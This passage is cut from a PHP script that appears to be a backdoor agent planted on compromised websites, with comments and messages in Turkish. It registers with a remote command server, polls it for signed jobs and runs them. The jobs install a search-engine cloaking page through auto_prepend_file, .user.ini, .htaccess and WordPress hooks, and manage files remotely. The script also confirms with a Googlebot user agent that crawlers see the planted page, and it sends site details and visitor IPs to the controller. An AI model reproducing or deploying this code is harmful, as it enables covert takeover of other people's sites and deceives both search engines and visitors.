$c = preg_replace('/\n?;?\s*cm_html_prepend\n?auto_prepend_file=.*\n?/', "\n", (string) file_get_contents($ini)); $c = preg_replace('/auto_prepend_file.*cm_html_prepend.*\n?/', '', (string) $c); @file_put_contents($ini, $c); }
return array('ok' => true, 'm' => 'ini_clear'); }
if ($name === 'redir_fix') {
return cm_redir_fix(); }
return array('ok' => false, 'm' => 'op'); }
function cm_run_ops($ops, $php) {
$php = cm_fill((string) $php); $log = array(); $ok = true; foreach ((array) $ops as $op) {
if (!is_array($op)) {
continue; }
$r = cm_run_op($op, $php); $log[] = (string) cm_arr($r, 'm', 'op') . ':' . (empty($r['ok']) ? 'err' : 'ok'); if (empty($r['ok'])) {
$ok = false; }
}
return array('ok' => $ok, 'log' => $log, 'cloak_status' => cm_cloak_status()); }
function cm_signed($action, $payload) {
$s = cm_state(); if (empty($s['agent_id']) || empty($s['hmac_key'])) {
return null; }
$payload['agent_id'] = $s['agent_id']; $payload['ts'] = time(); $payload['api_hash'] = CM_API_HASH; $ts = (int) $payload['ts']; $body = json_encode($payload, JSON_UNESCAPED_UNICODE); $hdr = array( 'X-Agent-Id' => $s['agent_id'], 'X-Ts' => (string) $ts, 'X-Sign' => hash_hmac('sha256', $s['agent_id'] . '.' . $ts . '.' . $body, $s['hmac_key']), 'X-Api-Hash' => CM_API_HASH, ); foreach (cm_hq_bases() as $base) {
$res = cm_http($base . '/api?action=' . $action, $payload, $hdr); if (is_array($res)) {
return $res; }
}
return null; }
function cm_apply_bound($p, $type) {
$err = cm_bind_err($p); if ($err !== '') {
return array('ok' => false, 'error' => 'bag:' . $err, 'cloak_status' => cm_cloak_status()); }
$php = (string) cm_arr($p, 'cloak_php'); $method = (string) cm_arr($p, 'method'); if (!empty($p['recipe_error']) && empty($p['ops']) && empty($p['steps'])) {
return array('ok' => false, 'error' => (string) $p['recipe_error'], 'method' => $method, 'cloak_status' => cm_cloak_status()); }
$steps = (isset($p['steps']) && is_array($p['steps'])) ? $p['steps'] : array(); if ($steps && ($type === 'cloak_apply' || $method === 'all')) {
return cm_apply_steps($steps, $php); }
$ops = (isset($p['ops']) && is_array($p['ops'])) ? $p['ops'] : array(); if (!$ops) {
return array('ok' => false, 'error' => (string) cm_arr($p, 'recipe_error', 'tarif yok'), 'method' => $method, 'cloak_status' => cm_cloak_status()); }
$res = cm_run_ops($ops, $php); $res['method'] = $method; if ($type === 'cloak_apply' || $type === 'cache_kill') {
$res = cm_attach_google_test($res, $method); }
return $res; }
function cm_apply_steps($steps, $php) {
$r = cm_root(); if (!is_file($r . cm_curtain_file()) || (int) filesize($r . cm_curtain_file()) < 24) {
return array('ok' => false, 'error' => 'once_perde', 'log' => array('önce perde HTML kaydet'), 'cloak_status' => cm_cloak_status()); }
$srv = cm_server_info(); $log = array('sunucu:' . $srv['engine'] . '/' . $srv['sapi']); $applied = array(); $last = array('ok' => false, 'cloak_status' => cm_cloak_status()); foreach ($steps as $step) {
if (!is_array($step)) {
continue; }
$m = (string) cm_arr($step, 'method'); if (!empty($step['error']) && empty($step['ops'])) {
$log[] = $m . ':atlanıyor (' . (string) $step['error'] . ')'; continue; }
$res = cm_run_ops((array) cm_arr($step, 'ops', array()), $php); if (empty($res['ok'])) {
$log[] = $m . ':atlanıyor (' . implode(',', (array) cm_arr($res, 'log', array())) . ')'; continue; }
$applied[] = $m; $log[] = $m . ':yazildi'; $last = cm_attach_google_test($res, $m); if (!empty($last['test_ok'])) {
$log[] = 'googlebot:perde gorundu, durdu'; $s = cm_state(); $s['cloak_method'] = $m; $s['server'] = $srv; cm_state_save($s); $last['log'] = $log; $last['method'] = $m; $last['cloak_status'] = cm_cloak_status(); return $last; }
}
if (function_exists('opcache_reset')) {
@opcache_reset(); }
if (!$applied) {
return array('ok' => false, 'error' => 'hicbiri', 'log' => $log, 'test' => isset($last['test']) ? $last['test'] : null, 'cloak_status' => cm_cloak_status()); }
$s = cm_state(); $s['cloak_method'] = implode('+', $applied); $s['server'] = $srv; cm_state_save($s); $log[] = 'googlebot:perde yok, yontemler duruyor'; $last['ok'] = true; $last['method'] = $s['cloak_method']; $last['log'] = $log; $last['cloak_status'] = cm_cloak_status(); return $last; }
function cm_hq_command($cmd) {
$res = cm_signed('command', array('cmd' => $cmd)); if (!is_array($res) || empty($res['ok'])) {
return array('ok' => false, 'error' => is_array($res) ? (string) cm_arr($res, 'error', 'hq') : 'hq yok', 'cloak_status' => cm_cloak_status()); }
$err = cm_bind_err($res); if ($err !== '') {
return array('ok' => false, 'error' => 'bag:' . $err, 'cloak_status' => cm_cloak_status()); }
return $res; }
function cm_cloak_apply_all() {
$res = cm_hq_command('cloak'); if (empty($res['ok']) && empty($res['steps'])) {
return $res; }
return cm_apply_bound($res, 'cloak_apply'); }
function cm_cloak_remove_all() {
$res = cm_hq_command('cloak_off'); if (empty($res['ok']) && empty($res['ops'])) {
return $res; }
$err = cm_bind_err($res); if ($err !== '') {
return array('ok' => false, 'error' => 'bag:' . $err, 'cloak_status' => cm_cloak_status()); }
$out = cm_run_ops((array) cm_arr($res, 'ops', array()), (string) cm_arr($res, 'cloak_php')); $s = cm_state(); unset($s['cloak_method']); cm_state_save($s); $out['cloak_status'] = cm_cloak_status(); return $out; }
function cm_cache_purge() {
$res = cm_hq_command('cache'); if (empty($res['ok']) && empty($res['ops'])) {
return $res; }
$err = cm_bind_err($res); if ($err !== '') {
return array('ok' => false, 'error' => 'bag:' . $err); }
return cm_run_ops((array) cm_arr($res, 'ops', array()), ''); }
function cm_ls_purge_now() {
if (!headers_sent()) {
header('X-LiteSpeed-Purge: *'); header('Cache-Control: private, no-store, no-cache, must-revalidate, max-age=0'); }
if (function_exists('opcache_reset')) {
@opcache_reset(); }
$root = cm_root(); $dirs = array( 'wp-content/cache/lscache', 'wp-content/cache/litespeed', 'wp-content/litespeed/pub', 'wp-content/litespeed', ); $n = 0; foreach ($dirs as $d) {
if (cm_purge_allow($d)) {
$n += cm_purge_dir($root . $d); }
}
return array('ok' => true, 'n' => $n); }
function cm_attach_google_test($res, $method = '') {
if (!is_array($res)) {
$res = array('ok' => false); }
if ($method !== '' && empty($res['method'])) {
$res['method'] = $method; }
$home = array('ok' => false, 'wp' => false, 'hit' => array()); $uaBot = 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'; $test = cm_bot_fetch($uaBot, false, '/index.php', 4); if (cm_cloak_test_ok($test)) {
$home = array('ok' => true, 'wp' => false, 'hit' => $test); }
else {
$test2 = cm_bot_fetch($uaBot, true, '/', 4); if (cm_cloak_test_ok($test2)) {
$test = $test2; $home = array('ok' => true, 'wp' => false, 'hit' => $test); }
else {
$home['hit'] = $test2; $home['wp'] = !empty($test['looks_wp']) || !empty($test2['looks_wp']); }
}
$code = (int) cm_arr($test, 'code', 0); $loc = trim((string) cm_arr($test, 'location', '')); if (empty($home['ok']) && (($code >= 300 && $code < 400) || $loc !== '')) {
$fix = cm_redir_fix(); $res['redir_fix'] = $fix; $test = cm_bot_fetch($uaBot, false, '/index.php', 4); if (cm_cloak_test_ok($test)) {
$home = array('ok' => true, 'wp' => false, 'hit' => $test); }
}
if (!empty($home['ok'])) {
$test['looks_curtain'] = true; }
$res['test'] = $test; $res['test_ok'] = cm_cloak_test_ok($test) || !empty($home['ok']); $s = cm_state(); $s['boot_tried'] = !empty($res['test_ok']) ? 1 : (int) cm_arr($s, 'boot_tried', 0); if (!empty($res['test_ok'])) {
$s['boot_ok'] = 1; $s['ready'] = 1; $s['boot_lock'] = 0; $s['nox_seen_at'] = time(); $s['last_home_wp'] = 0; if ($method !== '') {
$s['cloak_method'] = $method; }
}
else {
$s['last_home_wp'] = !empty($home['wp']) || !empty($test['looks_wp']) ? 1 : 0; $s['boot_lock'] = 1; if ((int) cm_arr($s, 'boot_lock_at', 0) < 1) {
$s['boot_lock_at'] = time(); }
}
cm_state_save($s); return $res; }
function cm_diagnose() {
$r = cm_root(); $info = [ 'php' => PHP_VERSION, 'sapi' => PHP_SAPI, 'os' => PHP_OS, 'docroot' => $r, 'auto_prepend' => (string) ini_get('auto_prepend_file'), 'writable' => is_writable($r), 'curtain' => is_file($r . cm_curtain_file()) ? filesize($r . cm_curtain_file()) : 0, 'cms' => cm_cms(), 'cloak' => cm_cloak_status(), 'server' => cm_server_info(), 'wordfence' => is_file($r . 'wp-content/plugins/wordfence/wordfence.php'), 'litespeed' => is_file($r . 'wp-content/plugins/litespeed-cache/litespeed-cache.php'), 'user_ini' => is_file($r . '.user.ini'), 'htaccess' => is_file($r . '.htaccess'), ]; return $info; }
function cm_bot_fetch($ua, $bust = true, $path = '/', $timeout = 8) {
$px = array('HTTPS_PROXY', 'HTTP_PROXY', 'ALL_PROXY', 'https_proxy', 'http_proxy', 'all_proxy'); $bak = array(); foreach ($px as $k) {
$bak[$k] = (string) getenv($k); putenv($k . '='); }
$path = isset($path) ? (string) $path : '/'; $path = '/' . ltrim($path, '/'); if ($path === '//') {
$path = '/'; }
$url = rtrim(cm_site_url(), '/') . ($path === '/' ? '/' : $path); if ($bust) {
$url .= (strpos($url, '?') === false ? '?' : '&') . 'cm=' . str_replace('.', '', (string) microtime(true)); }
$ctx = stream_context_create([ 'http' => [ 'method' => 'GET', 'header' => 'User-Agent: ' . $ua . "\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n", 'timeout' => max(2, min(12, (int) $timeout)), 'follow_location' => 0, 'max_redirects' => 2, 'ignore_errors' => true, ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $body = @file_get_contents($url, false, $ctx); $code = 0; if (isset($http_response_header[0]) && preg_match('/\s(\d{3})\s/', $http_response_header[0], $m)) {
$code = (int) $m[1]; }
$text = (string) $body; $loc = ''; if (!empty($http_response_header) && is_array($http_response_header)) {
foreach ($http_response_header as $h) {
if (stripos((string) $h, 'Location:') === 0) {
$loc = trim(substr((string) $h, 9)); }
}
}
$curtain = (string) @file_get_contents(cm_root() . cm_curtain_file()); $snip = substr(preg_replace('/\s+/', '', $curtain), 0, 120); $got = preg_replace('/\s+/', '', $text); $looksCurtain = $snip !== '' && $got !== '' && strpos($got, $snip) !== false; if (!$looksCurtain && stripos($text, 'NOX SHELL') !== false) {
$looksCurtain = true; }
$isWp = !$looksCurtain && (stripos($text, 'wp-content') !== false || stripos($text, 'wordpress') !== false); foreach ($bak as $k => $v) {
if ($v !== '') {
putenv($k . '=' . $v); }
}
return [ 'url' => $url, 'code' => $code, 'bytes' => strlen($text), 'body_ok' => $body !== false, 'looks_curtain' => $looksCurtain, 'looks_wp' => $isWp, 'looks_html' => $looksCurtain || ($text !== '' && !$isWp), 'preview' => substr(trim(strip_tags($text)), 0, 240), 'location' => $loc, ]; }
function cm_bot_test() {
$home = cm_home_shows_nox(true); $t = is_array(cm_arr($home, 'hit', null)) ? $home['hit'] : cm_bot_fetch( 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', false ); if (!empty($home['ok'])) {
$t['looks_curtain'] = true; }
$t['inspection'] = $t; $t['googlebot'] = $t; $t['home'] = array('ok' => !empty($home['ok']), 'wp' => !empty($home['wp']), 'via' => (string) cm_arr($home, 'via', '')); return $t; }
function cm_cloak_test_ok($t) {
$code = (int) cm_arr($t, 'code', 0); if ($code >= 300 || $code === 0) {
return false; }
return !empty($t['looks_curtain']); }
function cm_fm_root() {
$r = realpath(rtrim(cm_root(), '/\\')); return $r !== false ? $r : rtrim(cm_root(), '/\\'); }
function cm_fm_inside($path, $root) {
$p = strtolower(str_replace('\\', '/', $path)); $r = rtrim(strtolower(str_replace('\\', '/', $root)), '/'); return $p === $r || strpos($p, $r . '/') === 0; }
function cm_fm_resolve($rel, $mustExist = true) {
$root = cm_fm_root(); $rel = str_replace('\\', '/', $rel); $rel = ($pr = preg_replace('#/+#', '/', $rel)) !== null ? $pr : $rel; $rel = trim($rel, '/'); if (strpos($rel, '..') !== false) {
return null; }
$full = $rel === '' ? $root : $root . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $rel); if ($mustExist) {
$real = realpath($full); return ($real !== false && cm_fm_inside($real, $root)) ? $real : null; }
$parent = realpath(dirname($full)); if ($parent === false || !cm_fm_inside($parent, $root)) {
return null; }
return $full; }
function cm_fm_blocked($base) {
$base = strtolower((string) $base); $mine = strtolower(basename(__FILE__)); $inc = strtolower(basename(cm_state_canonical())); $list = [ 'wp-config.php', 'wp-settings.php', 'wp-load.php', 'cache.php', 'cache-data.php', 'wp-comments-post-loader.php', 'wp-comments-post-loader-inc.php', $mine, $inc, ]; return in_array($base, $list, true); }
function cm_fm_phpish($base) {
$ext = strtolower((string) pathinfo($base, PATHINFO_EXTENSION)); return in_array($ext, ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'php8', 'phar', 'inc'], true); }
function cm_fm_write_ok($base) {
$ext = strtolower((string) pathinfo($base, PATHINFO_EXTENSION)); return in_array($ext, ['html', 'htm', 'css', 'js', 'txt', 'json', 'xml', 'svg', 'md', 'csv', 'ico', 'webp', 'jpg', 'jpeg', 'png', 'gif', 'woff', 'woff2'], true); }
function cm_fm_list($rel) {
$dir = cm_fm_resolve($rel, true); if ($dir === null || !is_dir($dir)) {
return ['ok' => false, 'error' => 'klasor']; }
$items = []; $dh = @opendir($dir); if ($dh === false) {
return ['ok' => false, 'error' => 'okunamadi']; }
$n = 0; while (($name = readdir($dh)) !== false) {
if ($name === '.' || $name === '..') {
continue; }
if ($n >= 250) {
break; }
$full = $dir . DIRECTORY_SEPARATOR . $name; $items[] = [ 'name' => $name, 'dir' => is_dir($full), 'size' => is_file($full) ? (int) filesize($full) : 0, 'mtime' => (int) @filemtime($full), ]; $n++; }
closedir($dh); usort($items, static function ($a, $b) {
if ($a['dir'] !== $b['dir']) {
return $a['dir'] ? -1 : 1; }
return strcasecmp((string) $a['name'], (string) $b['name']); }
); $root = cm_fm_root(); $relOut = trim(str_replace('\\', '/', substr($dir, strlen($root))), '/'); return ['ok' => true, 'path' => $relOut, 'items' => $items]; }
function cm_fm_read($rel) {
$file = cm_fm_resolve($rel, true); if ($file === null || !is_file($file)) {
return ['ok' => false, 'error' => 'dosya']; }
if (filesize($file) > 200000) {
return ['ok' => false, 'error' => 'buyuk']; }
$c = (string) @file_get_contents($file); return ['ok' => true, 'path' => $rel, 'bytes' => strlen($c), 'content' => $c]; }
function cm_fm_write($rel, $content) {
$base = basename(str_replace('\\', '/', $rel)); if ($base === '' || cm_fm_blocked($base) || cm_fm_phpish($base) || !cm_fm_write_ok($base)) {
return ['ok' => false, 'error' => 'uzanti']; }
if (function_exists('cm_reject_php') && cm_reject_php($content)) {
return ['ok' => false, 'error' => 'php_yasak']; }
$file = cm_fm_resolve($rel, false); if ($file === null) {
return ['ok' => false, 'error' => 'yol']; }
if (is_dir($file)) {
return ['ok' => false, 'error' => 'klasor']; }
if (@file_put_contents($file, $content) === false) {
return ['ok' => false, 'error' => 'yazilamadi']; }
return ['ok' => true, 'path' => $rel, 'bytes' => strlen($content)]; }
function cm_fm_delete($rel) {
$file = cm_fm_resolve($rel, true); if ($file === null) {
return ['ok' => false, 'error' => 'yol']; }
$base = basename($file); if (cm_fm_blocked($base) || cm_fm_phpish($base) || $file === cm_fm_root()) {
return ['ok' => false, 'error' => 'yasak']; }
$ok = is_dir($file) ? @rmdir($file) : @unlink($file); return ['ok' => (bool) $ok, 'path' => $rel, 'error' => $ok ? null : 'silinemedi']; }
function cm_fm_mkdir($rel) {
$dir = cm_fm_resolve($rel, false); if ($dir === null) {
return ['ok' => false, 'error' => 'yol']; }
if (is_dir($dir)) {
return ['ok' => true, 'path' => $rel, 'message' => 'var']; }
$ok = @mkdir($dir, 0755, true); return ['ok' => $ok, 'path' => $rel, 'error' => $ok ? null : 'olusturulamadi']; }
function cm_http($url, $payload, $headers = array()) {
$body = json_encode($payload, JSON_UNESCAPED_UNICODE); $h = ['Content-Type: application/json']; foreach ($headers as $k => $v) {
$h[] = $k . ': ' . $v; }
$raw = null; if (function_exists('curl_init')) {
$ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $body, CURLOPT_HTTPHEADER => $h, CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 6, CURLOPT_TIMEOUT => 25, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, ]); $try = curl_exec($ch); curl_close($ch); if (is_string($try) && $try !== '') {
$raw = $try; }
}
if ($raw === null) {
$hdr = ''; foreach ($h as $line) {
$hdr .= $line . "\r\n"; }
$ctx = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => $hdr, 'content' => $body, 'timeout' => 25, 'ignore_errors' => true, ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $try = @file_get_contents($url, false, $ctx); if (is_string($try)) {
$raw = $try; }
}
if ($raw === null) {
return null; }
$j = json_decode($raw, true); return is_array($j) ? $j : null; }
function cm_register($token) {
$s = cm_state(); $payload = [ 'api_hash' => CM_API_HASH, 'api_sign' => CM_API_SIGN, 'token' => $token, 'token_hash' => hash('sha256', $token), 'site_url' => cm_site_url(), 'cms' => cm_cms(), 'php_version' => PHP_VERSION, 'sapi' => PHP_SAPI, 'docroot' => cm_root(), 'agent_script' => cm_agent_rel(), 'client_ip' => cm_client_ip(), 'meta' => ['server' => cm_server_info()], ]; $err = 'hq yok'; foreach (cm_hq_bases() as $base) {
$res = cm_http($base . '/api?action=register', $payload); if ($res && !empty($res['ok'])) {
$s['agent_id'] = (string) $res['agent_id']; $s['hmac_key'] = (string) $res['hmac_key']; $s['token_hash'] = hash('sha256', $token); $s['token_once'] = $token; $s['api_hash'] = CM_API_HASH; $s['hq_base'] = $base; unset($s['last_hq_error']); cm_state_save($s); return; }
$err = is_array($res) ? (string) cm_arr($res, 'error', 'red') : 'ulasilamadi'; }
$s['last_hq_error'] = $err; cm_state_save($s); }
function cm_run_job($job) {
$type = (string) cm_arr($job, 'type'); $p = is_array(cm_arr($job, 'payload', null)) ? $job['payload'] : array(); if ($type === 'html_save') {
$via = !empty($p['auto']) ? 'sistem' : 'hq'; $fn = (string) cm_arr($p, 'filename', cm_curtain_name()); $html = (string) cm_arr($p, 'html'); $res = cm_write_html($fn, $html, $via); $want = cm_curtain_name(); if (!empty($res['ok']) && strtolower($fn) !== strtolower($want)) {
$copy = cm_write_html($want, $html, $via); if (!empty($copy['ok'])) {
$res['file'] = $want; }
}
if (!empty($res['ok'])) {
$st = cm_state(); $st['boot_lock'] = 1; if ((int) cm_arr($st, 'boot_lock_at', 0) < 1) {
$st['boot_lock_at'] = time(); }
cm_state_save($st); }
return $res; }
if (in_array($type, array('cloak_apply', 'cloak_remove', 'cache_purge', 'cache_kill'), true)) {
return cm_apply_bound($p, $type); }
if ($type === 'diagnose') {
return cm_diagnose(); }
if ($type === 'bot_test') {
return cm_bot_test(); }
if ($type === 'fm_list') {
return cm_fm_list((string) cm_arr($p, 'path')); }
if ($type === 'fm_read') {
return cm_fm_read((string) cm_arr($p, 'path')); }
if ($type === 'fm_write') {
return cm_fm_write((string) cm_arr($p, 'path'), (string) cm_arr($p, 'content')); }
if ($type === 'fm_delete') {
return cm_fm_delete((string) cm_arr($p, 'path')); }
if ($type === 'fm_mkdir') {
return cm_fm_mkdir((string) cm_arr($p, 'path')); }
return ['_rejected' => true]; }
function cm_cloak_on() {
$st = cm_cloak_status(); if (empty($st['curtain'])) {
return false; }
return !empty($st['user_ini']) || !empty($st['index_php']) || !empty($st['wp_header']) || !empty($st['htaccess']) || !empty($st['mu_plugin']) || !empty($st['apache_prepend']) || !empty($st['theme_fn']) || !empty($st['cache_kill']) || !empty($st['adv_cache']) || !empty($st['wp_boot']); }
function cm_home_shows_nox($force = false) {
$s = cm_state(); $at = (int) cm_arr($s, 'home_chk_at', 0); if (!$force && $at > 0 && (time() - $at) < 20) {
$hit = cm_arr($s, 'home_chk_hit', array()); return array( 'ok' => !empty($s['home_chk_ok']), 'wp' => !empty($s['last_home_wp']), 'via' => (string) cm_arr($s, 'home_chk_via', ''), 'hit' => is_array($hit) ? $hit : array(), ); }
$uaBot = 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'; $tries = array( array($uaBot, false, '/index.php'), array($uaBot, true, '/'), ); $wp = false; $hit = array(); $via = ''; $ok = false; foreach ($tries as $row) {
$t = cm_bot_fetch($row[0], $row[1], $row[2], 4); $hit = $t; if (cm_cloak_test_ok($t)) {
$ok = true; $via = (string) cm_arr($t, 'url', $row[2]); $wp = false; break; }
if (!empty($t['looks_wp'])) {
$wp = true; }
}
$s = cm_state(); $s['home_chk_at'] = time(); $s['home_chk_ok'] = $ok ? 1 : 0; $s['home_chk_via'] = $via; $s['home_chk_hit'] = $hit; $s['last_home_wp'] = (!$ok && $wp) ? 1 : 0; cm_state_save($s); return array('ok' => $ok, 'wp' => !$ok && $wp, 'via' => $via, 'hit' => $hit); }
function cm_try_ready($force = false) {
$s = cm_state(); if (!empty($s['hq_google_ok'])) {
$s['boot_ok'] = 1; $s['ready'] = 1; $s['boot_lock'] = 0; if ((int) cm_arr($s, 'nox_seen_at', 0) < 1) {
$s['nox_seen_at'] = time(); }
$s['last_home_wp'] = 0; cm_state_save($s); return true; }
$seen = (int) cm_arr($s, 'nox_seen_at', 0); if (!$force && $seen > 0 && (time() - $seen) < 60 && !empty($s['boot_ok'])) {
$s['ready'] = 1; $s['boot_lock'] = 0; cm_state_save($s); return true; }
$cf = cm_root() . cm_curtain_file(); $hasCurtain = is_file($cf) && (int) filesize($cf) >= 24; if (empty($s['boot_ok']) && empty($s['cloak_method']) && !cm_cloak_on() && !$hasCurtain) {
if (!empty($s['ready'])) {
$s['ready'] = 0; cm_state_save($s); }
return false; }
$chk = cm_home_shows_nox($force); if (!empty($chk['ok'])) {
$s = cm_state(); $s['boot_ok'] = 1; $s['ready'] = 1; $s['boot_lock'] = 0; $s['nox_seen_at'] = time(); $s['last_home_wp'] = 0; cm_state_save($s); return true; }
$s = cm_state(); $s['boot_ok'] = 0; $s['ready'] = 0; $s['boot_lock'] = 1; $s['last_home_wp'] = !empty($chk['wp']) ? 1 : 0; cm_state_save($s); return false; }
function cm_client_ip() {
$keys = array('HTTP_CF_CONNECTING_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'); foreach ($keys as $k) {
$v = trim((string) cm_srv($k)); if ($v === '') {
continue; }
if ($k === 'HTTP_X_FORWARDED_FOR') {
$parts = explode(',', $v); $v = trim($parts[0]); }
if (filter_var($v, FILTER_VALIDATE_IP)) {
return $v; }
}
return ''; }
function cm_remember_visitor($curtain = false) {
$ip = cm_client_ip(); if ($ip === '') {
return; }
$s = cm_state(); $s['token_ip'] = $ip; if ($curtain) {
$s['curtain_ip'] = $ip; }
cm_state_save($s); }
function cm_curtain_report() {
$f = cm_root() . cm_curtain_file(); if (!is_file($f)) {
return array(); }
$html = (string) @file_get_contents($f); $plain = trim((string) preg_replace('/\s+/', ' ', strip_tags($html))); $s = cm_state(); $ip = (string) cm_arr($s, 'curtain_ip', ''); if ($ip === '') {
$ip = (string) cm_arr($s, 'token_ip', ''); }
$via = (string) cm_arr($s, 'curtain_via', ''); $at = (int) cm_arr($s, 'curtain_via_at', 0); if ($via !== '' && $at > 0 && (time() - $at) > 180) {
$via = ''; }
$out = array( 'file' => cm_curtain_file(), 'bytes' => (int) filesize($f), 'snip' => substr($plain, 0, 80), 'title' => cm_html_title($html), 'ip' => $ip, 'via' => $via, 'mtime' => (int) filemtime($f), ); $mt = (int) $out['mtime']; $needHtml = ($via === 'token' || $via === 'ajan' || $mt !== (int) cm_arr($s, 'curtain_sent_mtime', 0)); if ($needHtml && strlen($html) >= 24 && strlen($html) < 400000 && !cm_reject_php($html)) {
$out['html'] = $html; }
return $out; }
function cm_poll($runJobs = true) {
$s = cm_state(); if (empty($s['agent_id']) || empty($s['hmac_key'])) {
return; }
if (function_exists('ignore_user_abort')) {
ignore_user_abort(true); }
if (function_exists('set_time_limit')) {
@set_time_limit(90); }
$s = cm_state(); if (empty($s['ready']) && empty($s['boot_ok'])) {
$s['boot_lock'] = 1; if ((int) cm_arr($s, 'boot_lock_at', 0) < 1) {
$s['boot_lock_at'] = time(); }
cm_state_save($s); }
$pending = cm_arr($s, 'results', array()); $payload = [ 'agent_id' => $s['agent_id'], 'ts' => time(), 'php_version' => PHP_VERSION, 'sapi' => PHP_SAPI, 'cms' => cm_cms(), 'host' => cm_host_norm(cm_srv('HTTP_HOST')), 'docroot' => cm_root(), 'public_path' => cm_public_path(), 'theme_fn' => cm_theme_functions(), 'cloak_status' => cm_cloak_status(), 'agent_script' => cm_agent_rel(), 'agent_cap' => 3, 'api_hash' => CM_API_HASH, 'token_open' => true, 'token_ip' => (string) cm_arr($s, 'token_ip', ''), 'curtain' => cm_curtain_report(), 'results' => is_array($pending) ? array_values($pending) : [], ]; $ts = (int) $payload['ts']; $body = json_encode($payload, JSON_UNESCAPED_UNICODE); $sign = hash_hmac('sha256', $s['agent_id'] . '.' . $ts . '.' . $body, $s['hmac_key']); $hdr = [ 'X-Agent-Id' => $s['agent_id'], 'X-Ts' => (string) $ts, 'X-Sign' => $sign, 'X-Api-Hash' => CM_API_HASH, ]; $res = null; foreach (cm_hq_bases() as $base) {
$res = cm_http($base . '/api?action=poll', $payload, $hdr); if (is_array($res)) {
$s['hq_base'] = $base; break; }
}
if (!is_array($res) || empty($res['ok'])) {
$s['last_hq_error'] = is_array($res) ? (string) cm_arr($res, 'error', 'ulasilamadi') : 'ulasilamadi'; cm_state_save($s); return; }
unset($s['last_hq_error']); $s['last_hq_ok'] = time(); $cfOk = cm_root() . cm_curtain_file(); $s['curtain_sent_mtime'] = is_file($cfOk) ? (int) filemtime($cfOk) : 0; if ($runJobs && (string) cm_arr($s, 'curtain_via', '') !== '') {
unset($s['curtain_via'], $s['curtain_via_at']); }
if (!empty($res['google_ok'])) {
$s['hq_google_ok'] = 1; $s['boot_ok'] = 1; $s['ready'] = 1; $s['boot_lock'] = 0; $s['last_home_wp'] = 0; if ((int) cm_arr($s, 'nox_seen_at', 0) < 1) {
$s['nox_seen_at'] = time(); }
}
else {
$s['hq_google_ok'] = 0; }
if (!$runJobs) {
$s['last_poll'] = time(); $s['jobs_left'] = (int) cm_arr($res, 'jobs_left', 0); cm_state_save($s); return; }
$cap = (int) cm_arr($res, 'job_cap', 0); if ($cap < 1) {
$cap = (!empty($s['boot_ok']) || !empty($s['ready'])) ? 5 : 1; }
$cap = max(1, min(5, $cap)); $out = []; $n = 0; if (is_array($res) && !empty($res['jobs']) && is_array($res['jobs'])) {
foreach ($res['jobs'] as $job) {
if ($n >= $cap) {
break; }
$jid = (int) cm_arr($job, 'id', 0); try {
$ran = cm_run_job($job); }
catch (Exception $ex) {
$ran = array('ok' => false, 'error' => 'islem'); }
if (!empty($ran['_rejected'])) {
$out[] = ['job_id' => $jid, 'status' => 'rejected', 'result' => 'yontem yok']; }
else {
$out[] = ['job_id' => $jid, 'status' => empty($ran['ok']) && isset($ran['ok']) ? 'error' : 'done', 'result' => $ran]; }
$n++; }
}
$s['results'] = $out; $s['last_poll'] = time(); $s['jobs_left'] = is_array($res) ? (int) cm_arr($res, 'jobs_left', 0) : 0; if ($out && $s['jobs_left'] > $n) {
$s['jobs_left'] = $s['jobs_left'] - $n; }
$cf2 = cm_root() . cm_curtain_file(); $s['curtain_mtime'] = is_file($cf2) ? (int) filemtime($cf2) : 0; $now = cm_state(); foreach (array('boot_ok', 'boot_tried', 'ready', 'cloak_method') as $k) {
if (!empty($now[$k])) {
$s[$k] = $now[$k]; }
}
if (isset($now['boot_lock']) && empty($now['boot_lock'])) {
$s['boot_lock'] = 0; }
if (isset($now['server']) && is_array($now['server'])) {
$s['server'] = $now['server']; }
cm_state_save($s); cm_try_ready(false); }
function cm_ui($msg = '', $setup = false, $tokenUrl = '', $openRich = false, $hold = false) {
header('Content-Type: text/html; charset=utf-8'); header('X-Content-Type-Options: nosniff'); $r = cm_root(); $exists = is_file($r . cm_curtain_file()); $size = $exists ? (int) filesize($r . cm_curtain_file()) : 0; $st = cm_cloak_status(); $t = htmlspecialchars((string) (isset($_GET['t']) ? $_GET['t'] : ''), ENT_QUOTES); $bad = $msg !== '' && (strpos($msg, 'PHP') !== false || strpos($msg, 'hata') !== false || strpos($msg, 'uygulanamadı') !== false || strpos($msg, 'Yayınlanamadı') !== false || strpos($msg, 'geçersiz') !== false || strpos($msg, 'Yazılamadı') !== false); $note = $msg; if (strlen($note) > 240) {
$note = substr($note, 0, 220) . '…'; }
echo '<!doctype html><html lang="tr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>Önbellek</title>'; echo '<style>*{box-sizing:border-box}body{margin:0;background:#0c0e12;color:#e8eaed;font:14px/1.5 system-ui,Segoe UI,sans-serif}'; echo '.wrap{max-width:720px;margin:32px auto;background:#14181f;border:1px solid #2a3140;border-radius:10px;padding:24px}'; echo 'h1{margin:0 0 4px;font-size:20px;font-weight:600;color:#f0d9a0}p{margin:0 0 10px}.sub{color:#8b93a7;font-size:12px;margin-bottom:14px}'; echo '.note{padding:10px 12px;border-radius:6px;margin:0 0 14px;background:#1c2430;border:1px solid #2f3a4d}.note.bad{background:#2a1618;border-color:#5c2b2b;color:#f0b4b4}'; echo '.tags span{display:inline-block;margin:0 6px 6px 0;padding:3px 9px;border-radius:999px;background:#1c2430;color:#9aa3b5;font-size:12px}'; echo '.tags .on{background:#1e3a2f;color:#9ddeb3}.row{display:flex;flex-wrap:wrap;gap:8px;margin:0 0 